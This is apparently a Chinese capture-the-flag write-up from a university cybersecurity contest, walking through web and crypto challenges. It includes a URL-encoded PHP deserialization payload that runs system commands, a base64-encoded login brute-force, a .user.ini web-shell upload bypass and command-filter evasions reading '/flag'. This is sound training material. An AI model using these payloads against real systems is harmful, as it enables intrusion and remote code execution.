武功山杯·第一届湘赣边大学生网络安全竞赛
石能为鼓
我们打开页面源码,发现一个文件
我们打开,发现一串代码
1 | <?php |
这道题考的试反序列化,我们构造pop链
1 | <?php |
payload
1 | ?d=O%3A4%3A%22ping%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00xiang%22%3BO%3A3%3A%22cup%22%3A1%3A%7Bs%3A9%3A%22%00cup%00data%22%3Bs%3A20%3A%22system%28%22tac+%2Fflag%22%29%3B%22%3B%7D%7D |
龙溪秘境
我们访问hint,可知这题需要进行爆破
我们查看网页源码,可以发现密码进行了base64加密
因此,我们进行爆破的时候,需要将密码进行base64加密
我们选择集装束爆破
我们在第一个位置加载常用用户名字典
在第二个位置加载常用密码,并将编码类型选择为base64加密
开始爆破
我们发现用户名为test,密码为admin时的输出长度不同
我们登录试试
提示密码错误,说明用户名正确,我们就只需要爆破密码就行了
当密码为654321时输出不同,说明可能是正确密码我们登录
登录成功,获得flag
龙池古庙
我们访问hint,提示这题需要传.use.ini文件
我们包含自身(一句话木马)
我们先上传.use.ini,但提示不被允许,我们抓包修改类型
上传成功
成功包含
我们连接蚁剑,找到flag
武功论剑
真君擒龙
打开页面,审计代码
1 | <?php |
我们需要通过命令执行获取flag,由于限制了cmd的长度,根据提示,我们使用od进行绕过
od:以二进制的方式读取档案内容
1 | ?cmd=od /* |
获得了一大串八进制字符串,我们将八进制字符串转换为二进制字节输出
1 | a="0000000 066146 063541 031573 033064 032541 033546 026544 033470 0000020 030544 032055 032071 026466 034470 062066 061055 030062 0000040 032064 033066 030146 032067 076541 000012 0000053" |
得到flag
此外,我们也可以用n*绕过nl
1 | cmd=n* /* |
户外天堂
根据提示,我们需要进行维吉纳亚解密,然后再进行base64解密
写脚本
1 | from Crypto.Util.number import * |
然后继续rsa解密
1 | from gmpy2 import* |